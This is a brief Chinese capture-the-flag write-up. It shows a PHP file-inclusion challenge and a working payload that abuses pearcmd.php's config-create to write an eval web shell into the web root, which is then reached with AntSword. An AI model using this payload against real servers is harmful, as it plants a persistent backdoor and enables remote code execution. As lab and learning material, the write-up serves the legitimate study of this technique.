记录一个没见过的RCE类型题目。先看源码:
点击查看代码
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>
发现是假flag,到这里时我没思路了,因为协议基本都用不了。看了wp发现这个假flag是个提示,说是检查register_argc_argv这个东西,那就看看,发现这个东西是开启状态的,那就去搜搜与它相干的漏洞。搜到了LFI TO RCE之pearcmd.php利用。这个东西是pecl的类库,用于管理扩展而使用的命令行工具。在docker容器中是被默认安装的,在php7.3之前是默认安装的,7.4及以后需要指定安装。在其源码中会将$_SERVER[‘argv’]当作参数执行,这样就给了我们可以命令执行的可能,例如http://xxxxx/index.php?system+ls 会返回当前目录下东西,+为分隔符不能去掉。
所以payload为:
点击查看代码
发GET包
GET /?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php
config-create是pearcmd.php的参数,用于创建默认配置文件。意思就是讲<?=eval($_POST[1])?>写到/var/www/html/路径下的a.php,没有则创建一个。
发出请求后直接上蚁剑进行连接,在根目录发现flag。又学到一招。